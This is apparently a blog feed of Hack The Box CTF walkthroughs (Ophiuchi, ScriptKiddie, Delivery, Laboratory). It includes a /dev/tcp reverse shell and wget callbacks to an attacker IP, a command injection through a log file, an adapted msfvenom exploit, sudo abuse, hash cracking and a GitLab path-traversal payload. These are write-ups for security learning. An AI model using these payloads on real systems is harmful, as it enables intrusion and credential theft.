<p>We start enumerating and found out that the user is probably <code>admin</code>.</p>
<div class="highlight"><pre><span></span><code>cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<snip>
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
admin:x:1000:1000:,,,:/home/admin:/bin/bash
</snip></code></pre></div>
<p>When looking at the directories, we found a <code>conf</code> folder containing the
<code>tomcat-users.xml</code> file. This file classically store the user that can access
the tomcat manager panel (which is not exposed on this box).</p>
<div class="highlight"><pre><span></span><code>ls -alR conf
conf:
total 240
drwxr-x--- 2 root tomcat 4096 Dec 28 00:37 .
drwxr-xr-x 9 root tomcat 4096 Oct 11 14:07 ..
-rw-r----- 1 root tomcat 12873 Sep 10 08:25 catalina.policy
-rw-r----- 1 root tomcat 7262 Sep 10 08:25 catalina.properties
-rw-r----- 1 root tomcat 1400 Sep 10 08:25 context.xml
-rw-r----- 1 root tomcat 1149 Sep 10 08:25 jaspic-providers.xml
-rw-r----- 1 root tomcat 2313 Sep 10 08:25 jaspic-providers.xsd
-rw-r----- 1 root tomcat 4144 Sep 10 08:25 logging.properties
-rw-r----- 1 root tomcat 7588 Sep 10 08:25 server.xml
-rw-r----- 1 root tomcat 2234 Dec 28 00:37 tomcat-users.xml
-rw-r----- 1 root tomcat 2558 Sep 10 08:25 tomcat-users.xsd
-rw-r----- 1 root tomcat 172359 Sep 10 08:25 web.xml
</code></pre></div>
<p>We look at the file and found a few default username and passwords and also the
<code>admin</code> user with the <code>whythereisalimit</code> password.</p>
<div class="highlight"><pre><span></span><code>cat conf/tomcat*
<?xml version="1.0" encoding="UTF-8"?>
<!--
<SNIP>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
SNIP>
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<snip>
</snip></code></pre></div>
<p>We connect to the box with SSH using this user and got the first flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ #whythereisalimit
kali@kali:~$ ssh admin@10.129.98.255
admin@10.129.98.255's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
<snip>
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ cat user.txt
6aa83180b3e469e3f5de725c639a601b
</snip></code></pre></div>
<h1>Root</h1>
<p>We enumerate the box and quickly found out that we can execute a specific go
program as root without password.</p>
<div class="highlight"><pre><span></span><code>admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
</code></pre></div>
<p>The content of the "index.go" file is the following:</p>
<div class="highlight"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span>
<span class="kn">import</span><span class="w"> </span><span class="p">(</span>
<span class="w"> </span><span class="s">"fmt"</span>
<span class="w"> </span><span class="nx">wasm</span><span class="w"> </span><span class="s">"github.com/wasmerio/wasmer-go/wasmer"</span>
<span class="w"> </span><span class="s">"os/exec"</span>
<span class="w"> </span><span class="s">"log"</span>
<span class="p">)</span>
<span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">bytes</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">wasm</span><span class="p">.</span><span class="nx">ReadBytes</span><span class="p">(</span><span class="s">"main.wasm"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">instance</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">wasm</span><span class="p">.</span><span class="nx">NewInstance</span><span class="p">(</span><span class="nx">bytes</span><span class="p">)</span>
<span class="w"> </span><span class="k">defer</span><span class="w"> </span><span class="nx">instance</span><span class="p">.</span><span class="nx">Close</span><span class="p">()</span>
<span class="w"> </span><span class="nx">init</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">instance</span><span class="p">.</span><span class="nx">Exports</span><span class="p">[</span><span class="s">"info"</span><span class="p">]</span>
<span class="w"> </span><span class="nx">result</span><span class="p">,</span><span class="nx">_</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">init</span><span class="p">()</span>
<span class="w"> </span><span class="nx">f</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">result</span><span class="p">.</span><span class="nx">String</span><span class="p">()</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">f</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="s">"1"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">"Not ready to deploy"</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">"Ready to deploy"</span><span class="p">)</span>
<span class="w"> </span><span class="nx">out</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">exec</span><span class="p">.</span><span class="nx">Command</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">,</span><span class="w"> </span><span class="s">"deploy.sh"</span><span class="p">).</span><span class="nx">Output</span><span class="p">()</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">log</span><span class="p">.</span><span class="nx">Fatal</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="nb">string</span><span class="p">(</span><span class="nx">out</span><span class="p">))</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>Basically the program read a webassemply file <code>main.wasm</code> using a relative path
and if the file map "info" return <code>1</code> it run a bash script <code>deploy.sh</code> also
using a relative path. We "just" need to create a new <code>main.wasm</code> that return
<code>1</code> and a bash script that give us the root flag.</p>
<p>We download main.wasm and "decompile" it using <a href="https://github.com/WebAssembly/wabt">wabt</a> and its online <a href="https://webassembly.github.io/wabt/demo/wasm2wat/">wasm2wat "decompiler"</a></p>
<p>Using <a href="https://webassembly.github.io/wabt/demo/wat2wasm/">wat2wasm</a> We just change the fourth line <code>(i32.const 0))</code> to <code>(i32.const 1))</code> and download the resulting wasm file.
We upload it on the box in our home folder and create a deploy.sh bash file to display the root flag:</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_Ophiuchi$ scp test.wasm admin@10.129.98.255:main.wasm
admin@10.129.98.255's password:
test.wasm
admin@ophiuchi:~$ echo 'cat /root/root.txt' > deploy.sh
admin@ophiuchi:~$ chmod +x deploy.sh
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
d153e100b32fe456e149a86ef6468ac6
</code></pre></div>
<h1>Wrapping up</h1>
<p>A very interesting box that I would recommend to beginners as it is mostly
straightforward with no rabbit hole.</p>HTB: ScriptKiddie2021-06-07T10:25:00+02:002021-06-07T10:25:00+02:00maggicktag:maggick.fr,2021-06-07:/2021/06/htb-scriptkiddie.html<p><img alt="ScriptKiddie Card" class="align-left" src="/media/2021.06/sk_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/314">ScriptKiddie</a> publish on
February 6, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/4935">0xdf</a>.
This box is rated as easy box the user part implies to use CVE-2020-7384, the
root part is just abusing a bash script and using msfconsole.</p>
<p><img alt="ScriptKiddie Card" class="align-left" src="/media/2021.06/sk_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/314">ScriptKiddie</a> publish on
February 6, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/4935">0xdf</a>.
This box is rated as easy box the user part implies to use CVE-2020-7384, the
root part is just abusing a bash script and using msfconsole.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 22 (SSH) and 5000 with a HTTP
service are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sun Feb 7 08:50:44 2021 as: nmap -p- -sSV -oN nmap 10.129.94.194
Nmap scan report for 10.129.94.194
Host is up (0.011s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 7 08:51:09 2021 -- 1 IP address (1 host up) scanned in 24.16 seconds
</code></pre></div>
<h2>Web</h2>
<p>The webpage seems to be a "hacker" personal page with a few wrapper around
classical tools as <code>nmap</code>, <code>msfvenom</code> and <code>searchsploit</code>.</p>
<p><img alt="Homepage" class="image-process-article-image" src="/media/2021.06/derivatives/article-image/sk_01.png"/></p>
<p>The "template file" option with <code>msfvenom</code> is strange. After a few Google research we found
about CVE-2020-7384 which is "msfvenom APK template command injection" and has
<a href="https://www.exploit-db.com/exploits/49491">a public exploit available</a></p>
<p>We change the payload to perform a <code>wget</code> on our python server</p>
<div class="highlight"><pre><span></span><code><span class="c1"># Change me</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s1">'wget 10.10.14.64:8000'</span>
</code></pre></div>
<p>We got a hit on our local python HTTP which confirm our RCE.</p>
<div class="highlight"><pre><span></span><code>kali@kali:/tmp$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.94.194 - - [07/Feb/2021 09:27:09] "GET / HTTP/1.1" 200 -
</code></pre></div>
<p>We change the payload again for a reverse shell.</p>
<div class="highlight"><pre><span></span><code><span class="n">payload</span> <span class="o">=</span> <span class="s1">'sh -i >& /dev/tcp/10.10.14.64/4433 0>&1'</span>
</code></pre></div>
<p>We run netcat to catch it and got the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:/tmp$ nc -l -p 4433
id
sh: 0: can't access tty; job control turned off
$ uid=1000(kid) gid=1000(kid) groups=1000(kid)
$ cd
$ cat user.txt
51573bc36ae7c15d3bb11c3b043a5dea
</code></pre></div>
<h1>Root</h1>
<h2>Persistance</h2>
<p>We look at our user home folder and get the SSH private key</p>
<div class="highlight"><pre><span></span><code>$ ls -al
total 60
drwxr-xr-x 11 kid kid 4096 Feb 3 11:49 .
drwxr-xr-x 4 root root 4096 Feb 3 07:40 ..
lrwxrwxrwx 1 root kid 9 Jan 5 20:31 .bash_history -> /dev/null
-rw-r--r-- 1 kid kid 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 kid kid 3771 Feb 25 2020 .bashrc
drwxrwxr-x 3 kid kid 4096 Feb 3 07:40 .bundle
drwx------ 2 kid kid 4096 Feb 3 07:40 .cache
drwx------ 4 kid kid 4096 Feb 3 11:49 .gnupg
drwxrwxr-x 3 kid kid 4096 Feb 3 07:40 .local
drwxr-xr-x 9 kid kid 4096 Feb 3 07:40 .msf4
-rw-r--r-- 1 kid kid 807 Feb 25 2020 .profile
drwx------ 2 kid kid 4096 Feb 3 07:40 .ssh
-rw-r--r-- 1 kid kid 0 Jan 5 11:10 .sudo_as_admin_successful
drwxrwxr-x 5 kid kid 4096 Feb 7 14:25 html
drwxrwxrwx 2 kid kid 4096 Feb 3 07:40 logs
drwxr-xr-x 3 kid kid 4096 Feb 3 11:48 snap
-r-------- 1 kid kid 33 Feb 7 13:48 user.txt
$ ls .ssh/
authorized_keys
id_rsa
id_rsa.pub
$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt/
MXWipZH4vmE0lLycTlwk0eFcEQilnSCwpQoLA9QEiFAMvopNThWyjGkst6HNPdDvSDlJEfTtW4PaOFA
seUICcwuidMXc4xepu1t0hrfv5Wn7SiwQwIDwE0DvRRSpLIr9I0wfjjEPnvc4y7uuMvsf0hegZLMnChg
stWWCw99DS5q0YdXxkIC7eKlI90nHyUHL3ULwXDBk6NWhPmJ90yDaFC4iD0yVP3xmjKjl0iotkqbhKhR
AD8bUINZ7anXTw4Hb0iF5tMAttB8JbLts5zvgQtYrciKE4Qnl4F+MO5yg3G03s9V69K4R+TXmI4TZKUH
fEpNnReQ+73uOqgjH5VeZr0TmSLEszfFfXRcv7t4jxOboYnS+lgR1V2iGHzSle+nAlVLHqlwP5RTtwaO
wE0nbykigyz/h4KNCn0rU69fYWSrkcFPYOSm92QKmaMJuXqnycjuqLmHMD2XKSuhlpgD/VmQL34C7pju
4h+/78qK50+itG0FCiSy6IRd5DIfTkU= kid@scriptkiddie
$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArfzF1oqWR+L5hNJS8nE5cJNHhXBEIpZ0gsKUKCwPUBIhQDL6KTU4
<snip>
sOeM4jMTD4DJbb/8Jsh6yzW45V3bgPp1Hm4nI3AZ8SjSI4VqtO9CcDKtPnvh3/jm5VEx9W
bK3NNrAo9t2tlfAAAAEGtpZEBzY3JpcHRraWRkaWUBAg==
-----END OPENSSH PRIVATE KEY-----
</snip></code></pre></div>
<h2>scanlosers</h2>
<p>We can now directly connect using SSH. Looking at the accessible files we found
that the <code>pwn</code> user has a script <code>scanlosers.sh</code> readable by our user. This
script read a log file containing "hacking" attempts and run a <code>nmap --top10</code> on
it.</p>
<div class="highlight"><pre><span></span><code>$ ssh kid@10.129.94.194 -i sc_id_rsa
<snip>
kid@scriptkiddie:~$ cat ../pwn/scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
</snip></code></pre></div>
<p>We download /home/kid/.ssh/authorized_keys localy and rename it to test a few
payload locally. The <code>cut -d' ' -f3-</code> means that the 3 first "words"
(characters separated by a space) will be dropped.</p>
<p>The idea is to execute a payload in order to add our SSH key to the "pwn"
user. As always we start by a simple <code>wget</code> to ensure the RCE. After a few
attempt we found the following payload that we add to the <code>hackers</code> file:</p>
<div class="highlight"><pre><span></span><code>echo 'q w e 127.0.0.1 127.0.0.1 ; wget 10.10.14.64:8000/a -O /home/pwn/.ssh/authorized_keys ; #' > ../kid/logs/hackers
</code></pre></div>
<p>As the "kid" private key is now also authorized for the "pown" user, we connect
using directly SSH.</p>
<div class="highlight"><pre><span></span><code>$ ssh pwn@10.129.94.194 -i sc_id_rsa
<snip>
pwn@scriptkiddie:~$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
</snip></code></pre></div>
<h2>msfconsole</h2>
<p>Our "pown" user can run <code>msfconsole</code> as "root" without any password, which
quickly give us a shell using the <code>bash</code> msf command allowing us to get the root
flag.</p>
<div class="highlight"><pre><span></span><code>pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
<snip>
msf6 > bash
[*] exec: bash
root@scriptkiddie:/home/pwn# id
uid=0(root) gid=0(root) groups=0(root)
root@scriptkiddie:/home/pwn# cat /root/root.txt
b4ccca123e8efc9cc65296e42ed4cabf
</snip></code></pre></div>
<h1>Wrapping up</h1>
<p>An easy box exploiting a few mechanisms. The msfvenom exploit was fun to use.</p>HTB: Delivery2021-05-24T09:40:00+02:002021-05-24T09:40:00+02:00maggicktag:maggick.fr,2021-05-24:/2021/05/htb-delivery.html<p><img alt="Delivery card" class="align-left" src="/media/2021.05/delivery_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/308">Delivery</a> created by
<a href="https://www.hackthebox.com/home/users/profile/3769">ippsec</a> and publish on
January 9 2021.
This box is classified as an easy machine. The user part involve to understand a
process and exploit some functionnal flow.
The root part implies enumeration and cracking somes hashes binary.</p>
<p><img alt="Delivery card" class="align-left" src="/media/2021.05/delivery_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/308">Delivery</a> created by
<a href="https://www.hackthebox.com/home/users/profile/3769">ippsec</a> and publish on
January 9 2021.
This box is classified as an easy machine. The user part involve to understand a
process and exploit some functionnal flow.
The root part implies enumeration and cracking somes hashes binary.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only ports 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat Feb 13 08:48:43 2021 as: nmap -sSV -oN nmap 10.129.95.75
Nmap scan report for 10.129.95.75
Host is up (0.013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 13 08:48:51 2021 -- 1 IP address (1 host up) scanned in 7.42 seconds
</code></pre></div>
<h2>Web</h2>
<p><img alt="Homepage" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/delivery_01.png"/></p>
<p>Looking at the "contact-us" section we discover that we will probably need a
email adresse on the "delivery.htb" domain in order to access the MatterMost
server.</p>
<blockquote>
<p>For unregistered users, please use our HelpDesk to get in touch with our team. Once you have an @delivery.htb email address, you'll be able to have access to our MatterMost server.</p>
</blockquote>
<p>We got to the help desk page.</p>
<p><img alt="help desk page" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/delivery_02.png"/></p>
<p>We create a ticket and got an associated email adresse with the <ticket number="">@delivery.htb</ticket></p>
<p><img alt="associated email address" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/delivery_03.png"/></p>
<p>we create an account on mettermost with this email and got the verification URL on the ticket</p>
<p><img alt="Registering on mattermost email" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/delivery_035.png"/></p>
<p><img alt="mattermost verification link" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/delivery_04.png"/></p>
<p>The discussion give us the creds for the OSTicket application and disclose some info about password reuse</p>
<blockquote>
<p>root
9:29 AM</p>
<p>@developers Please update theme to the OSTicket before we go live. Credentials to the server are maildeliverer:Youve_G0t_Mail!</p>
<p>Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"
root
10:58 AM</p>
<p>PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.</p>
</blockquote>
<p>We can now access the OSticket panel as an admin using the agent panel http://helpdesk.delivery.htb/scp/login.php</p>
<p><img alt="OSticket panel" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/delivery_05.png"/></p>
<p>The mailideriverer account also got an SSH account on the box which allow us to
get the user flag.</p>
<div class="highlight"><pre><span></span><code>$ ssh maildeliverer@delivery.htb
maildeliverer@delivery.htb's password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
<snip>
maildeliverer@Delivery:~$ cat user.txt
2300770247a4dfb6f57de6d717d86b9c
</snip></code></pre></div>
<h1>Root</h1>
<p>We enumerate our user permission and found the MatterMost configuration file
containing the crendentials to access the database</p>
<div class="highlight"><pre><span></span><code>maildeliverer@Delivery:~$ cat /opt/mattermost/config/config.json
{
"ServiceSettings": {
"SiteURL": "",
"WebsocketURL": "",
"LicenseFileLocation": "",
"ListenAddress": ":8065",
"ConnectionSecurity": "",
"TLSCertFile": "",
<snip>
},
"SqlSettings": {
"DriverName": "mysql",
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
"DataSourceReplicas": [],
</snip></code></pre></div>
<p>We connect to the mysql database, enumerate the tables and dump the users and
password from the <code>Users</code> table.</p>
<div class="highlight"><pre><span></span><code>maildeliverer@Delivery:~$ #mmuser:Crack_The_MM_Admin_PW
maildeliverer@Delivery:~$ mysql -u mmuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 382
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show database
-> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'database' at line 1
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mattermost |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mattermost]> show tables;
+------------------------+
| Tables_in_mattermost |
+------------------------+
| Audits |
| Bots |
<snip>
| UserAccessTokens |
| UserGroups |
| UserTermsOfService |
| Users |
+------------------------+
46 rows in set (0.001 sec)
MariaDB [mattermost]> select Username,Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username | Password |
+----------------------------------+--------------------------------------------------------------+
| surveybot | |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| john5412663 | $2a$10$hF3jgrGBPYT2LaXISy67K.lAaTNaOKJfruZTWSzQo..ZI9dHctf7a |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport | |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
| john | $2a$10$.uKtro1Yc15ZycqOJX1X/.m6yg7VSD60EUV58BJ4SVgg0xsYzrKe2 |
+----------------------------------+--------------------------------------------------------------+
9 rows in set (0.000 sec)
MariaDB [mattermost]> exit
Bye
</snip></code></pre></div>
<p>We create a dictionary using the disclosed password and using <code>hashcat</code> rules we
generate a few variations.</p>
<div class="highlight"><pre><span></span><code>$ cat dic
PleaseSubscribe!
$ hashcat --force dic -r /usr/share/hashcat/rules/best64.rule --stdout > dic_hc
</code></pre></div>
<p>We pass this variation dictionary to <code>john</code> with the database hashes, and found
a password.</p>
<div class="highlight"><pre><span></span><code>$ john hash -w=dic_hc
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PleaseSubscribe!21 (?)
Warning: Only 5 candidates left, minimum 24 needed for performance.
1g 0:00:00:02 DONE (2021-02-13 17:19) 0.3424g/s 26.36p/s 182.8c/s 182.8C/s asP..PeSubs
</code></pre></div>
<p>We use this password to long as root on the box and get the final flag.</p>
<div class="highlight"><pre><span></span><code>maildeliverer@Delivery:~$ su
Password:
root@Delivery:/home/maildeliverer# cd
root@Delivery:~# cat /root/root.txt
09679395029c940e9acea1ceab2cf76a
</code></pre></div>
<h1>Wrapping up</h1>
<p>A really interesting an realistic box. There is no technical vulnerability or
exploit to use here. Just reading the applications and understanding what is
needed and found a way to achieve our attacker goal.</p>HTB: Laboratory2021-05-16T09:40:00+02:002021-05-16T09:40:00+02:00maggicktag:maggick.fr,2021-05-16:/2021/05/htb-laboratory.html<p><img alt="Laboratory Card" class="align-left" src="/media/2021.05/laboratory_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/298">Laboratory</a> publish on
November 14, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/73268">0xc45</a>.
This box is rated as an easy box. It implies mostly gitlab and a LFI
vulnerability and an SUID binary.</p>
<p><img alt="Laboratory Card" class="align-left" src="/media/2021.05/laboratory_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/298">Laboratory</a> publish on
November 14, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/73268">0xc45</a>.
This box is rated as an easy box. It implies mostly gitlab and a LFI
vulnerability and an SUID binary.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 22 (SSH), 80 and 443 (HTTP
and HTTPS) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Thu Nov 26 09:49:27 2020 as: nmap -p- -sSV -oN nmap 10.129.47.132
Nmap scan report for 10.129.47.132
Host is up (0.012s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 26 09:51:28 2020 -- 1 IP address (1 host up) scanned in 120.73 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website either access with on the port 80 or 443 redirected to <code>https://laboratory.htb</code>.
So we add an entry to <code>/etc/hosts</code>.
We trying to access it again we got a certificate error as its supposed to be
for <code>git.laboratory.htb</code></p>
<p><img alt="ssl certificat" class="image-process-article-image" src="/media/2021.05/derivatives/article-image/laboratory_01.png"/></p>
<p>Se we add another entry to our <code>/etc/hosts</code> and browse to it.</p>
<h2>gitlab</h2>
<p>This is a standard gitlab installation. We create an account and using the
exploration function we found a public project that does not contains anything
useful.</p>
<p>Looking at the help page we found that the version is <code>GitLab Community Edition 12.8.1</code></p>
<p>While searching on Google we found a <a href="https://hackerone.com/reports/827052">bug bounty report</a>
for this specific version that disclosed a LFI and a RCE.</p>
<h3>LFI</h3>
<p>In order to execute the code on the gitlab server we first need to use the LFI
to get <code>secrets.yml</code></p>
<p>So as described in the <a href="https://hackerone.com/reports/827052">bug bounty report</a>
we create two projects, one with an issue description containing the following
link and we move it to the second project.</p>
<div class="highlight"><pre><span></span><code>![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
</code></pre></div>
<p>That allow us to get the file content.</p>
<div class="highlight"><pre><span></span><code># This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
---
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu
<snip>
</snip></code></pre></div>
